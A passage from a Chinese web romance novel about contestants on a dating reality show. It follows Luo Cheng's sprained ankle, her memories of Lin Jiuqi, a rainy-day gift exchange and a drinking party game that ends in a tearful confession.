两人已经来到了最中间的位置,拉开身后的人好一段距离。
黄谦感叹:“你俩这么快?”
洛澄笑了笑没说话。
所有人都一动不动,比划的动作也相当标准,黄谦背过身去,“三二一……”
洛澄趁机小声道:“快,快上来。”
周铮和黎青青紧随其后,周铮伸手一把拉住祁玖的胳膊,“祁玖别跑这么快啊。”
祁玖想挣脱开,可无奈对方拽得死死的,根本不给他们任何前进的机会。
两人拉扯中。
黄谦:“木头人。”
他刚好回头,洛澄身子摇摇晃晃地被连带掉下了独木桥。
洛澄和祁玖故作镇定站稳身子,一动不动。
黄谦走到他们旁边,两人还假装无事发生,撇开目光心虚的不看他。
黄谦双手背在身后,像是领导巡查模样,他笑眯眯道:“二位,装什么呢?都看见了。”
话落,两人才往起跑线去,旁边的罪魁祸首周铮笑得合不拢嘴,身子一颤一颤的。
祁玖在旁边淡淡来了句,“黄老师,周铮动了。”
周铮笑脸僵住,他别过头看向祁玖,疑惑道:“我哪里动了?”
祁玖抿唇一笑,“现在。”
周铮:“……”
黎青青眨了眨眼睛,嘀咕一声:“笨蛋。”
周铮控诉:“祁玖,你耍赖!”
黄谦对着周铮和黎青青,“回去吧二位。”
洛澄悄悄对祁玖竖起大拇指。
干得漂亮。
现在变成林久期和张可晴在最前面了。
在擦肩而过的同时,林久期的目光不由自主地凝视在洛澄身上,望着他们往回走的背影,还有那双牵在一起的手。
林久期觉得格外刺眼,空气中弥漫着酸溜溜的气味。
起跑线处,周铮牵紧黎青青,一脸认真,“等他三二一开始,我们就直接往前跑。”
黎青青脑袋一嗡,根本没留意他究竟说了什么。
她全身上下酥酥麻麻,所有的感官仿佛都汇聚在了那双牵着她的手上。
他的手很大,还,很温暖。
周铮一撇头就对上了黎青青注视自己的眼睛,“盯着我看干什么,我脸上有脏东西?”
黎青青慌乱中撤回视线,“没。”
“三、二、一……”
黄谦这次故意放慢了语速。
起点处的几人迅速向前冲,一眨眼的功夫,三对人都挤在了独木桥。
吵闹声一片。
黄谦:“木头人。”
他回首,画面相当之乱。
张可晴和林久期在独木桥终点,却被牵制住了,背后的周铮勾着腰,拽着林久期的衣角。祁玖和洛澄站在独木桥上,洛澄在前,她反手和祁玖比心,另一手撑在周铮的肩膀上。黎青青则是被挤下了独木桥。
黄谦和其他二位观察员唠起嗑来,“今天天气不错啊。”
杨毅看出了他的用意,“是啊,大太阳的还挺适合去游泳。”
徐颖也一同附和:“冬泳多冷,不如泡温泉。”
三人明显就是故意的,周铮腰酸背痛,抱怨道:“你们别聊了!腰要断了!”
洛澄的平衡完全靠着周铮,她几乎所有的重量都压在他身上。
周铮快喘不上气了,他抬眸看向三位看热闹不嫌事大的观察员,“三位老师行行好,我腰要断了。”
看他是真快坚持不住了,黄谦这才背对他们,继续道:“三……”
第一个字才刚蹦出口,周铮迅雷不及掩耳之势,麻溜就从独木桥下来。
洛澄还没反应过来,身子一不稳,脚一崴,从独木桥摔了下去,连着祁玖也跪在了地上。
清脆的一声摔响,所有人都往他们这瞧,徐颖和杨毅跑上前,徐颖:“没事吧?”
洛澄摆摆手,“没事。”
“嘶——”
洛澄正准备站起来,脚踝处的疼痛由下至上,袭遍全身,她忍不住倒吸了口凉气,又瘫坐在地上。
周铮连忙道歉:“对不起对不起,都怪我。”
临近终点的林久期刚迈出一步,就被左脚绑着的黄色绳带束缚了,他迅速解开,朝洛澄大步走去。
所有人都围了上来。
祁玖蹲在一边,顾不上自己磕脏的膝盖,他搀扶着洛澄的胳膊,“站的起来吗?”
洛澄试图活动下右脚,只不过是轻轻动一下,立即疼得冒冷汗,她小脸皱成一团,摇摇头。
见状,祁玖小心翼翼地解开绳袋,生怕手触碰到她受伤的右脚。
在徐颖的帮忙下,背上洛澄往别墅的方向走。
游戏终止,其余人也一同回了别墅。
所有人一窝蜂聚集在洛澄房门口,洛澄有些不自在,“你们别担心,我没事的,你们继续玩,我休息下就好了,不用管我。”
看出她的局促,祁玖也说道:“这里有我就行了。”
大家关心几句后也陆陆续续离开了。
祁玖装了一矿泉水瓶的冰块,他蹲在床前,伸手就要去拖洛澄的鞋子,洛澄急忙说:“我自己来就行。”
他解开鞋带,小心
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翼翼脱下鞋子,挽起右腿的裤脚,矿泉水瓶敷在已经红肿的脚踝上,“别乱动。”
看着他一系列的动作,洛澄没再说话。
不由陷入一片思绪中。
她还记得,那时是高二的运动会。
她参加八百米接力赛,跑得过程当中被人装了下,崴了脚,因为自己是最后一棒,还是咬牙跑到了终点。
可结果就是左脚彻底疼到失去了知觉。
是林久期背着她去了医务室。
医务室离操场有很长一段距离,他一路跑着去的。
“九七。”
林久期一直一言不发,医务室内也只有他们两人,寂静得让洛澄浑身难受,她坐在椅子上,眼睛望着一旁没林久期在药柜上翻找着。
她又唤了声,“林久期。”
林久期还是没有说话,背对着她,看不到一点神情。
片刻后,他手拿着药,屈身蹲在了她跟前。
洛澄任由他给自己上着药膏,目不斜视地盯着他,在他脸上找不到任何表情。
但洛澄还是知道,他生气了。
“我们班是第一。”
“他们也太菜了,这都跑不过我。”
“一会儿我请你去吃冰吧。”
洛澄喋喋不休说了好久,可林久期依旧无动于衷。
洛澄绞尽脑汁想了半天,装模作样地喊着:“疼死了,我不想上药了。”
话落,林久期动作又轻柔了不少,他那张看不透的脸上终于染上了几分担忧,“听话,别乱动。”
“你终于说话了。”洛澄喜笑颜开,“我还以为你打算这辈子都不跟我说话了。”
“……”
林久期又闭紧了嘴。
“别生气了,生气给魔鬼留余地。”
洛澄伸手戳了下他的脸颊,他撇过头,躲开了她的触摸。
洛澄不怒反笑,“你说你还让不让别人活,连生气都这么好看。”
洛澄说完,身子往前一倾。
她险些从椅子上摔下来,顿时吓了林久期一跳,身子急忙迎上去抱住她。
洛澄露出一副得逞的笑容,“九七。”
林久期还有些惊魂未定,他抬头,正视着她。
她杏眼弯弯的,清纯的脸颊上漾着笑,绽出两个小小的酒窝。
“我想吃冰。”
“嗯。”所有的气在这一刻荡然无存,他目光深深,“好。”
……
“祁玖。”
思绪回笼,看着这张截然不同的脸,洛澄缓缓开口,“你平常除了上课,还做什么?”
祁玖想了想,“画画,摄影。”
就祁玖这个外貌条件,让洛澄第一反应就觉得他才是被拍的那个,“模特吗?”
“不是。”祁玖摇头,“我拍别人。”
洛澄“哦”了下,她进入正题,“你想演戏吗?”
祁玖拿着矿泉水瓶的手一顿,没理解她此话何意,他纳纳地抬起头正视着她。
“我有个朋友准备拍一部毕业短剧,里面有个角色我觉得很适合你。”
房门半掩着,林久期手里拿着药,走到门口时恰巧听见里面的谈话声,他停下脚步站定在外。
洛澄:“你愿意和我搭档,出演男主角吗?”
43. 第43章
“你愿意和我搭档,出演男主角吗?”
空气像是凝结了一般,周围静默了好一会儿。
祁玖的声音不疾不徐道:“我从来没有演过戏。”
“我相信你肯定可以的,你考虑一下。”
听着屋内二人的对话,林久期的手紧了紧,药盒在手中被捏变了形。
——林久期,你愿意和我搭档,出演我的男主角吗?
微博之夜上的话再次闯入他的脑海中,明明才一个月不到的时间,她心中却换了人选。
林久期此刻有种说不上来的感觉,心里像是被人挖去一块,最宝贝的一块。
可转念又想,他有什么好不满的呢?
毕竟当初是他铁了心的拒绝。
难受的滋味都还来不及收敛,屋内便走出一人,与他面面相觑。
“林老师。”
坐在床上的洛澄闻声探头看向门口,她心里咯噔一下,他来了多久?是路过吗?
可见他手里拿着药盒,像是专门来的。
刚才的话难不成都被他听见了?
林久期点点头,祁玖与他擦肩而过。
洛澄从床上爬起来,扶着墙,一瘸一拐走到门口,准备关门,林久期却伸手把住了门框。
她怔怔抬头,他那双桃花眼阴沉得不行,温柔的声音也变了调。
“你打算找他来演?”
他像是在质问,生硬的语气让洛澄听起来十分不舒服。
心里一万个在想:你凭什么质问我?
她声音也冷了下来,“对,他挺合适的。”
林久期的眼神恨不得把她盯穿了,他扯了下嘴角,“那詹江已呢?你不是已经答应他来演吗?”
“这就不用你操心了。”
楼下是其他人聊天的嬉笑声,楼上却像是被蒙了厚厚一层寒霜,温度低到了极致。
洛澄不想和他再多费口舌了,“林老师,我想休息了。”
她拒客意思明确,林久期眼里情绪几波流转后,“你好好休息。”
洛澄合上门。
她佯装着的平静终于绷不住了,心里早似千军万马而过,慌乱不堪。
洛澄坐回床上,深深地吸了一口气,想要平复狂跳的心脏。
她拿起手机,给乔媛媛发去了一条消息。
【你已经答应让詹江已演男主角了?】
对方秒回:【没啊,你听谁说的?】
【随便问问。】
【对了,我认识了一个特别合适这个角色的人,可以让他来。】
-
洛澄的脚修养了一个周才好,这段时间恋综里的所有活动她都没有参加,白天大家都出去玩了,只有她一人留在别墅,感觉自己都快发霉了。
听着张可晴喋喋不休说着这几天他们都做了什么,洛澄只有羡慕二字。
张可晴:“洛澄,你想好准备什么礼物了吗?”
相处一周后,六人将给自己心动嘉宾准备一份礼物,她因为脚伤,门都出不去,跟别提去准备礼物了。
“还没有。你呢,想好了吗?”
“对啊。”张可晴神神秘秘地拍了拍旁边放着的包,“我已经买好了。”
此时的客厅只有她们三位,男生都出去买菜了,洛澄好奇一问:“给谁,周铮?”
另一旁坐着看书的黎青青不由抬头。
“你怎么会觉得是周铮啊?”张可晴朝黎青青扬了扬下巴,“就算是给周铮,那也是黎青青给。”
黎青青突然被点名,脸颊绯红,“我……”
张可晴反问:“洛澄,你想给谁?林久期还是祁玖?”
现在在所有人眼里,洛澄才是那个让人最摸不透的。
她缩在沙发上,怀里抱着抱枕,脸颊埋在抱枕里,在听到张可晴说的话时,垂下的眼眸里含着几分复杂。
“你该不会打算给祁玖吧?那林久期可就没人送礼物了。”张可晴唏嘘:“林久期连一份礼物都收不到,这节目播出后,热搜得炸成什么样。”
他丢脸,跟她有什么关系?
洛澄心里忍不住嘀咕一句。
-
冬日的天总是亮的很慢。
即使已经是早晨九点过了,天色还是灰蒙蒙的。
交换礼物的环节是在下午,今天白天都是自由活动时间,别墅里寂静无声,大家难得睡个懒觉,除了洛澄,都还没醒。
洛澄悄无声息的出了门。
钱塘岛的街上也清冷一片,开早餐的店铺也没什么人。
洛澄买了俩包子和豆浆递给跟着她的摄像大哥,“辛苦了,这么早跟我出来。”
摄像大哥一手架着机器,一手接过,“洛老师你太客气了,这是应该的。”
两人在路边吃完早餐,一路往最热闹繁华的地段走。
路上的行人也变多了,吆喝声,汽车鸣笛声,好不热闹。
道路两旁的门店有很多都是卖特产的,洛澄逛了一圈下来,始终没选到心仪的礼物。
她站在路边张望,寻找着下一个去往的方向。
这时,一颗豆大的雨滴砸在她的额头上,忍不住仰头向上望了望,“下雨了?”
天际阴霾,刹那间,密密麻麻的雨水接二连三落下。
洛澄和摄影大哥被迫退到身后的一家饰品店内。
大雨一瞬间倾泻而下,雾蒙蒙的一片让人看不清虚实,它似乎想要淹了钱塘岛,雷雨交加,说是瀑布都不为过。
噼里啪啦的声响吵得别墅里的几位都纷纷起了床。
“早知道就把我的耳塞带来了。”张可晴有气无力地瘫坐在沙发上絮叨:“好不容易能睡个懒觉,大早上还要被吵醒,真无语。”
“先喝杯咖啡,提神醒脑。”
周铮端着杯热咖放置在她跟前的茶几上,转而他又回到灶台前继续准备早餐。
这段时间的饮食都是周铮在准备的,丰盛的前提下又每天不重样。
张可晴赞叹不绝道:“周铮,你这水平都能去五星酒店当厨师了,我嘴巴都要被你喂挑了,等录制结束后我可怎么办啊。”
“你想吃,随时给你做。”
黎青青默默无闻地在一旁帮忙洗小番茄,水流的哗哗声也阻挡不了她竖着耳朵听他们俩人的谈话。
陆陆续续,所有人都围坐在了餐桌前。
少了一人。
祁玖正要起身去叫洛澄,张可晴喊住了他,“别去了,她早上出门了。”
她九点过起来上厕所时,恰好看到洛
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澄出门,不用想也知道,她是去买礼物的。
大雨持续不断下着,一下,就是一整天。
洛澄找门店老板借用了两站板凳,她和摄影师一人一边,坐在门店门口。
她不得不感慨摄像大哥真的很专业,全程一直举着相机都不带放下的。
“哥,要不你歇歇,别录了,这么举着手酸。”
摄像大哥像是铁打的身子,“没事,不累。”
洛澄也不好再劝。
她背靠着白瓷墙壁,任凭雨水时不时从外飞进,拍打在她的身上。
有孩童穿着雨衣从旁边跑过,他一蹦一跳踩着水洼,积水肆意溅起,溅在了洛澄的裤脚上,奶白色的裤子一时间粘上泥泞,黑了一大片。
“……”
洛澄从包里翻出纸巾,勾腰擦着裤子,小男孩已经跑远了。
这一幕很熟悉,像极了零八年年初的某个夜晚——
那时候妈妈刚过世,她整夜整夜的睡不着觉。
一到晚上,她就翻墙从寝室偷跑出学校,就坐在附近的一家小卖部门口的石墩子上,盯着前面墙壁上的彩色涂鸦发呆。
小卖部已经关门了,只有一旁树干上飘零下来的枯叶与她作伴。
也不知道过了多久,天空一声巨响,伴随而来的一道闪电仿佛要划破天际,眨眼间,整个巷道都被照亮了。
下一秒,大雨滂沱。
洛澄迅速起身躲在小卖部的屋檐下,冷风呼啸,她只穿了件毛衣,忍不住打了个喷嚏。
巷道的尽头传来说话的声音。
“跑慢点别摔了!”
闻声望去,穿着雨衣的小女孩从不远处跑来,她身后跟着位撑着伞的女人。
两人一前一后从洛澄面前路过。
小女孩跑得很快,脚踏起的水花溅了洛澄一身。
洛澄蹙了下眉,已经看不到她们的身影了。
“喵——”
细小尖锐的声音莫名传来,洛澄被吸引去了目光。
一只白色的奶猫蜷缩在涂鸦墙的角落,雨水肆无忌惮地拍在它瘦小的身上,隐约能瞧见它满是泥泞的身子。
洛澄想都没想,冲进雨幕中。
幼猫也不闪躲,像是知道对方来拯救它的,它往洛澄跟前走了两步,叫得更大声了。
“乖,别怕。”
洛澄抱起它在怀里,为它遮风挡雨,说话声也轻柔,“你跟我一样,也找不到妈妈了吗?”
还未等她起身,那来势汹汹的大雨似乎被隔绝在了之外,面前的地板上投射下一道黑影。
她缓缓回头。
少年持伞而立。
微弱的路灯灯光洒在他身上,他像是神明派来的使者。
……
洛澄不厌其烦地擦着裤脚,一张又一张的纸巾都被染黑了。
一阵风吹过,卷走了她放在膝盖上的最后一张干净白纸,她顺势直起身子,伸手却没有抓住。
纸巾飘远,落在了前方人儿脚边的水洼里。
林久期撑着一把黑色的大伞,雨雾中,他神色平淡,身子笔挺,宛如纤尘不染的谪仙。
洛澄的手定格在半空中。
他像是神明派来的使者。
来拯救她的。
44. 第44章
“洛澄怎么还没回来?”
张可晴的手机都玩腻了。
因为一整天的大雨,所有人都被迫留在了别墅里,哪都去不成,原本的六个人,现在偌大的客厅里只有她和周铮,“林久期又去哪了?”
周铮坐在一旁沙发上打游戏,“好像出去了。”
张可晴吐槽道:“奇了怪了,怎么人都见不到一个,祁玖和黎青青又去哪了?”
-
林久期多带的一把伞给了摄像大哥,而洛澄则和他并肩走。
留意到她手里提着的礼物袋,林久期声音淡淡,“给祁玖的?”
恰逢一辆汽车行驶而过,鸣笛声盖住了林久期说话的声音。
洛澄没听清,“你刚才说什么?”
“没什么。”
林久期望着她的侧脸,鬓角的发丝都被打湿了,贴在她吹弹可破的脸颊上,她小巧的鼻子被冻得通红,看着让人心疼。
林久期眼神暗淡。
下大雨都要出来,就只是为了给祁玖买礼物吗?
他在你心里。
就这么重要吗?
-
宽敞的二楼阳台。
祁玖手拿画笔,沾着调色盘中的颜料,在架好的画板上描绘着他此刻眼前的世界。
黎青青坐在他斜对面,手里的铅笔在画本上来回扫荡,发出笔尖摩擦的唰唰声。
纸上的画也渐渐有了雏形,若细看,很难不发现素描的主人公就是楼下打游戏的那位。
两人一言不发,都各自沉浸在自己的创作当中。
不知过了多久,祁玖落在纸上的笔突然力道加中,一抹蓝色颜料狠狠地印在画纸上。
他俯视着楼下结伴而归的洛澄和林久期。
旋即,他放下笔,起身往楼下去。
“祁玖?”
黎青青不明所以地唤了声,可他头也不回,她只好跟着一同下楼。
张可晴看着回来的两人,“你俩在一起啊?”
洛澄没有正面回应,而是说道:“我去换件衣服。”
正巧和下楼的祁玖碰个正着,洛澄没说话,脚步匆匆就回了房间。
周铮随口一问:“这么大的雨,你们去哪了?”
林久期脱下棕色大衣搭在沙发上,随后给自己冲了杯冰美式,他扯开话题,“今天晚饭我来做吧。”
张可晴惊叹:“林老师你还会做饭啊?!”
傍晚。
他们这还是第一次吃到林久期亲手做的饭,色香味俱全,做的满满一桌子菜几乎都光盘了。
张可晴赞不绝口,周铮有种自己的光环被人抢了的感觉,心里十分不是滋味。
张可晴眼尖,发现了周铮的异常。
“林老师你和周铮做的饭,简直就是我出生到现在吃过最好吃的饭了!你们也太逆天了,长得帅就算了,做饭还这么好吃!”
听闻,周铮脸上又绽出了笑容。
洛澄从楼上提着礼物袋下来,“青青,给。”
黎青青愣了两秒才接过手,“谢谢。”
洛澄边走边发,每个人手上都发了份礼物盒,“给你们的礼物。”
她最后走到林久期面前,她抿了抿嘴,也递给了他一份,而后折身坐在不远处的沙发上。
张可晴一头雾水,“洛澄,你这是给每个人都准备了礼物啊?”
洛澄点头,“观察员只是说让我们准备礼物,可他们并没有说只能给一个人准备,这几天的相处,你们每个人我都很喜欢。”
她是发自内心的。
勤快的周铮,嘴甜的张可晴,不善言辞但默默做事的黎青青,温柔的祁玖,还有……
林久期。
周铮拆开礼物盒,里面放着一对银色耳钉,他当即拿起一只带上,“黎青青,你镜子借我一下。”
黎青青递给他,他照了半天,和他的耳骨夹很配,“谢了洛澄。”
祁玖看着手中那条颜料盘形状的吊坠项链,微笑道:“谢谢。”
张可晴也拆开看,她的是条珍珠项链。
洛澄是根据他们每个人的性子,猜测他们会喜欢什么类型的,所以每人的礼物都不一样。
看着他们欢喜的模样,洛澄眼里一闪而过的落寞,随后扯起一抹笑。
暴雨没有一点停止的征兆。
其余人都上楼洗漱了,洛澄独自坐在客厅的沙发上。
——洛澄,你想给谁?林久期还是祁玖?
张可晴的话反复回荡在脑海里。
说实话,她第一反应,是林久期。
只是林久期。
可她不想让别人知道,尤其是不想让林久期知道。
她装作洒脱的样子,装作不想再围着他转的样子,可这一切都是假的。
无论发生什么,他依旧是她洛澄唯一的选择。
洛澄叹了口气。
她仰头靠在沙发上,旁边的棕色大衣散发着白茉莉的清香。
我打着给所有人都送礼的名义。
光明正大地给你送了一份。
-
“笃笃笃——”
洛澄刚拉关上窗户便听见敲门声,开门一看,是拿着一个小小的礼物盒的祁玖。
祁玖将礼物递给她,“洛澄,我……”
“洛老师。”
祁玖的话都还没说完,一道清润的男音就打断了他。
林久期款步而来,手里的红糖姜茶还冒着热气,“趁热喝,今天下雨外出这么久,小心着凉。”
林久期抢先一步把碗塞在洛澄伸出来的手里,不容她拒绝。
他冲着身边的祁玖,扬唇一笑,“祁玖,张可晴在找你。”
由于两人下午是一起回来的,现在所有人都认定洛澄和林久期今天出去约会了。
林久期现在又当着他面跟洛澄示好,在祁玖眼里,就是赤裸裸的挑衅。
祁玖张了张嘴,刚想说什么,几声急促的脚步声从楼梯口传来,张可晴跑了上来。
“祁玖。”
祁玖把礼物盒揣回衣服包里,“怎么了?”
张可晴扭扭捏捏道:“你可以下来一下吗?我找你有点事。”
祁玖有些犹豫了。
他回首看了眼洛澄。
林久期悠悠道:“可别让女孩子久等了。”
祁玖暗暗皱了下眉,随即跟着张可晴下了楼。
洛澄手捧着那碗红糖姜茶,她非常清楚林久期是故意的,可却不明白他支走祁玖到底什么用意。
“你为什么要这么做?”
进就是那双多情的桃花眼里满是无辜,“嗯?怎么了?”
“你为什么支走他?”
林久期摸着下巴,饶有兴致地说着:“你不觉得他和张可晴很配吗?”
林久期这话不对版的样子,洛澄是一句话也不想再和他多说了,“谢谢你的姜茶,我要睡了,晚……”
安字都还没说出口,林久期忽然拿出一个精致的首饰盒,“给你的。”
洛澄的喉咙像是被什么堵住了。
他这又是什么意思?
“无事献殷勤。”
心里想的话不知怎么竟脱口而出。
林久期听闻去不由愣了下,他嘴角牵起,低低笑出了声,“早点休息
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吧。”
林久期离开的背影消失在视线中。
洛澄有时候真的很看不透他。
【林久期又给我熬姜汤了,他还把礼物给我了。】
【啊?!!姐妹!他真的很不对劲!】
洛澄十分赞同乔媛媛的这句话,她发了个点头的表情包。
【无事献殷勤,非奸即盗,他肯定没憋什么好屁。】
【非也非也,说不定他没你想的这么复杂呢,说不定他就是在跟你示好呢。】
“噗——”
洛澄一口姜茶喷了出来,她连忙扯纸擦着嘴角。
洛澄扫了眼林久期给她的首饰盒,里面是串水晶手链。
林久期跟她示好?
她可没这么自信。
他肯定是不想和其他女生传绯闻,所以找她当挡箭牌了。
洛澄不想再让这些乱七八糟的想法影响她的心情了。
索性关灯睡觉。
第二天。
林久期彻底证明了洛澄的想法。
可能是被乔媛媛的话影响了,洛澄一晚上没睡好,早上八点不到就醒了。
她从卫生间出来,隐约听见阳台处有人说话的声音。借着窗外投射而来的昏暗的光,她往阳台走去。
即使不用靠近,那清薄的背影洛澄一眼就认得出来。
林久期一手拿着手机,另一手手指拨弄着旁边植被的茎叶。
“我知道,我会注意的……嗯好……不会有绯闻的……等我录制完再安排吧……行。”
洛澄不知道他在和谁打电话,又到底在谈论些什么。
她只清楚地听见“绯闻”二字。
果然,跟她想的一样。
他来参加恋综其实就是完成工作罢了,至于对她的关心,给她的礼物,也都只是为了和旁人避嫌。
毕竟。
她是大家公认的“林久期迷妹”。
等节目播出之后,再说是她洛澄私底下缠着他就好了。
洛澄苦笑一声,悄悄转身回了房。
林久期丝毫没注意有人来过,他继续和电话那头的檀冶聊着天。
挂电话前,檀冶又嘱咐了句,“别给狗仔机会闹出绯闻,免得洛澄误会。”
“嗯。”
-
洛澄回房后便一直睡不着了。
听到外面有人说话的声音,她才跟着出了房间。
今天一天都是自由活动,周铮邀请了张可晴约会,两人一大早就出了门。
他们剩下的四人都在客厅,气氛异常尴尬,或许只是洛澄自己觉得有些不自在,很想逃离。
洛澄坐不住了,她打着哈欠,借着午休为由,上了楼。
她前脚刚踏进房间,祁玖就喊住了她。
“洛澄。”
他手里拿着礼物盒,递到她面前,“昨天没来得及。”
“谢谢。”
洛澄刚伸手接过,另一道清润的男音也唤了声。
“洛老师。”
洛澄的视线穿过祁玖的肩膀,望向他身后楼梯口走来的人儿。
她手不由自主地紧了紧,“林老师。”
林久期款步而来,他视线似不经意般从洛澄手上掠过,他棕色的桃花眼似明非明。
旋即,他柔声道:“洛老师,关于出演你男主角的事,我重新考虑了一下,我觉得可以。”
“……”
洛澄一时语塞。
不过短短一句话,却让她脑袋一刹间如同浆糊,乱成一团。
就在祁玖转过身的同时,洛澄忽而挽上他的胳膊,“哦,不用了,我另有人选。”
45. 第45章
在他们身体接触的刹那,林久期心里的嫉妒快要溢出来了,他目光紧紧锁定她。
洛澄感觉他要在她身上盯出窟窿了,她撇开视线,不愿看他。
顷刻,林久期依旧温柔地说着话,“演戏这方面,还是找专业人士更省心些,洛老师可以再斟酌一下。”
“不用了。”洛澄想都没想,毫不犹豫地拒绝:“我相信祁玖。”
林久期心里最后一丝希冀也被她抹灭,醋意勃发,他快要忍不住了,在临近失态前他扯出一抹得体的笑容。
尔后,他什么都没说,折身离开。
等他完全消失在视野中后,洛澄深深地呼了口气,手指的指尖隐隐发麻。
和他对峙的那数秒里,她感觉自己心脏都快要跳出来了。
林久期,你为什么要用那样的眼神看我?
见洛澄脸色不对,祁玖也不再过多叨扰,嘱咐她好好休息后也离开了。
洛澄独自一人坐在房间的床上,她不由抚摸上左手手腕上戴着的翡翠玉镯。
是她过生日时林久期送的生日礼物。
决定不再喜欢林久期的那天,她试过很多方法,到最后手又红又痛,玉镯也摘不下来。
想着取不下来就算了吧。
其实不过就是她给自己找的借口罢了。
敲碎也好,找人帮忙也好,取下来的方法总比困难多。
洛澄叹口气,“林久期,我越来越看不懂你了。”
手机响起,是乔媛媛打来的视频通话。
“小洛澄,你哭了?”
洛澄呆了下,下意识瞅了眼前方桌子上的化妆镜,这才发现不知何时眼眶居然红了。
她打着哈哈,“没有,没休息好。”
迅速扯开话题,“怎么这么晚打电话过来?”
“哦对,”乔媛媛反应过来自己是有正事跟她说,“就是……嗯……”
她扭扭捏捏半天,洛澄看不下去了,“什么事你直说。”
“我昨天,和黄谦……”
乔媛媛又顿住了,瞧她欲言又止还面红耳赤的模样,洛澄冒出第一反应,“睡了?”
乔媛媛尖叫一声,“你别乱说!只是,只是牵手而已!”
没想到乔媛媛这么轻而易举就说出来了,她涨红着脸,着急慌乱的害羞样让洛澄忍不住笑了声,“只是牵手啊,那你有什么难以启齿的。”
洛澄翻身躺在床上,“说说吧,怎么回事?”
乔媛媛哎呀一声,娇嗔道:“我昨天和他出去吃饭,吃完就去喝了点小酒,然后就牵了。”
“你牵他,他牵你啊?”
“他。”
透过手机屏幕,洛澄看着乔媛媛像只蛆一样在床上扭来扭去,“所以你们在一起了?”
乔媛媛被问住了,她思考良久,才道:“不算吧,他都没有告白,不过我跟他说了,恋爱要从一束花和一个正事的告白开始,也不知道他会不会准备。”
乔媛媛小嘴说个不停,“我跟你说,昨天我去厕所,他在门口等我,出来的时候不小心撞着他了,他身上好香啊……”
乔媛媛自顾自说了很久,洛澄完全没有插话的机会。
见洛澄半天不开口,乔媛媛话锋一转,“你和林久期怎么样了?”
洛澄面颊上的笑容短暂凝滞了下,很快恢复常态后道:“他跟我说,他想出演你的短剧。”
“这不是好事吗?”
洛澄顿了约有一分钟,“我拒绝了。”
-
在接下来的恋综录制中,洛澄总是刻意去避免和林久期接触,她不想面对他,或者说,她不知道怎么面对他。
傍晚。
所有人吃了饭后聚在客厅玩起了国王游戏。
“拿到3号牌和6号牌的人……”
周铮故意一顿,伸手拿起一根细长条的饼干,“3号咬住饼干,6号从另一端开始吃,饼干剩下的长度必须小于1厘米,否则失败。”
祁玖亮出自己的扑克牌,是张红桃六。
张可晴确认般地又看了眼自己的牌,脸上是藏不住的失落,转而她问道:“3号是谁?”
其余人纷纷亮出自己的牌,张可晴一一看过去,都不是。
最后所有人的目光都落在那一动不动的洛澄身上。
张可晴掀开洛澄放在茶几上的牌,果真是张红桃三。
洛澄一抬眼就撞上了对面林久期的视线,他目光含着淡淡凉意望着她,她先一步挪开视线。
周围人都在起哄。
祁玖就坐在洛澄的右手边,起哄声中,祁玖已经从包装袋中抽出一根饼干。
洛澄先是看了眼桌上那一整瓶啤酒,游戏不能拒绝,而如果游戏失败,代价就是一口气喝完一瓶酒。
她冥思苦想了一会儿,“来吧。”
祁玖嘴里叼着饼干的一头,身子微微靠向她。
洛澄咽了咽口水,咬住了另一端。
周铮掏出手机,打开录像对准两人,“开始!”
一声令下,祁玖那张白净的脸在慢慢靠近,洛澄能清楚地看见他每靠近一分,耳朵便更红一分。
周铮一直在旁边叽叽喳喳的念叨个不停,“慢一点慢一点,别断了,小心啊……”
洛澄觉得他吵得不行,她神色平静无波,只想赶紧结束。
在饼干被不断咬碎的声响中,只剩下一半了。
见状,洛澄不动声色地使劲咬了下,饼干瞬间断成两半。
她佯装自责,“对不起。”
祁玖摆了摆手,“没事。”
周铮唏嘘中,他已经开了两瓶酒分别放在了洛澄和祁玖的面前,还顺带拿了两个干净的菠萝杯,“碰杯吧二位。”
说罢,他把刚才录制的视频直接发在了只有他们六人的微信群里。
祁玖把酒都拿在了他面前,洛澄知道他的意思,她又伸手拿了回来,直接倒了满满一杯,话不多说,直接闷声饮酒。
“咳咳咳……”
一杯饮完,洛澄猛咳了好几声,眼泪都止不住流了下来。
一张纸巾递在她面前,“谢谢。”
洛澄顺手接过的同时,视线顺着骨节分明的手上移,是端坐在对面的林久期。
她动作僵了下,随后收回手,像是若无其事的样子擦着嘴。
还剩半瓶酒,洛澄一鼓作气全部喝完了,脸上已经染上了浅浅的红晕。
所有人的牌都收了回去,又重新洗牌发牌。
洛澄亮牌,“4号和5号做10个俯卧撑吧。”
4、5号恰好是祁玖和周铮。
两人利索的就做完了。
下一位国王又是周铮,他得意地扬了扬下巴,“1、3号的人一手十指相扣,一手喝交杯酒。”
“谁是1号啊?”
张可晴说话时有意无意看向祁玖。
洛澄在一旁出声,“我。”
“哦。”张可晴倒好酒,“来吧。”
面对同样是女生的张可晴,洛澄这个任务完成的非常心甘情愿。
游戏不断继续。
洛澄靠在沙发上,侧着脸贴着靠背,眼神已经开始迷离。
祁玖倒了杯温水,递在她嘴边,“还好吗?”
洛澄伸手接过,道了声谢谢后,连连喝了好几口,试图用它冲散着醉人的酒。
下一局游戏的的国王是张可晴。
张可晴:“2号公主抱着4号,绕着客厅走一圈。”
2号是林久期,4号是
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黎青青。
林久期忽然低低吃痛一声,揉着左手腕,面含歉意道:“不好意思,我的手今早扭着了,不太方便,我自罚两瓶。”
他说着,就开了两瓶啤酒。
其余人见状也不好再多说什么,也就任由他了。
这回轮到黎青青抽到国王牌了,她想了想,说:“那就,1号和6号,面对面,对视告白吧。”
神情恍惚中,洛澄看了眼自己的牌,“我是1号。”
告白还好,只要不是太暧昧的举动。
她刚想到这,只见对面的林久期手拿着牌,缓缓抬了起来,“6号。”
“……”
洛澄感觉老天真的像是在跟她开玩笑。
有时候真的很想报警。
洛澄垂着眼,感受到旁边沙发又陷下去了。
她仰起头,林久期和张可晴换了座,坐在了她的身旁,他那双漂亮的明眸就这样注视着她。
“你们开始了?”
张可晴连忙拍了下说话的周铮,他像个氛围破坏者,她做了个噤声的动作,示意他赶紧闭嘴。
洛澄盯着他,有些恍了神。
年轻干净的脸庞,线条利落英气,她最喜欢的还是他的眉眼,他眼角略垂,右眼下方有一颗泪痣,像是女娲最完美的一笔。
他好看的不像话。
旁人与他站在一起,无论是谁都逊色几分。
洛澄抿了抿嘴,不知为何,与他对视的时间里,她却酸了鼻头。
心中涌上一股莫名的难过。
许是醉了,又或许是酒壮怂人胆。
洛澄望着他,红了眼,“如果你像我喜欢你一样喜欢我就好了。”
洛澄心脏紧缩,痛得她快要喘不过气了。
她时常梦见他们读书时候的日子,还是那么要好。
可现实和梦总是对调的。
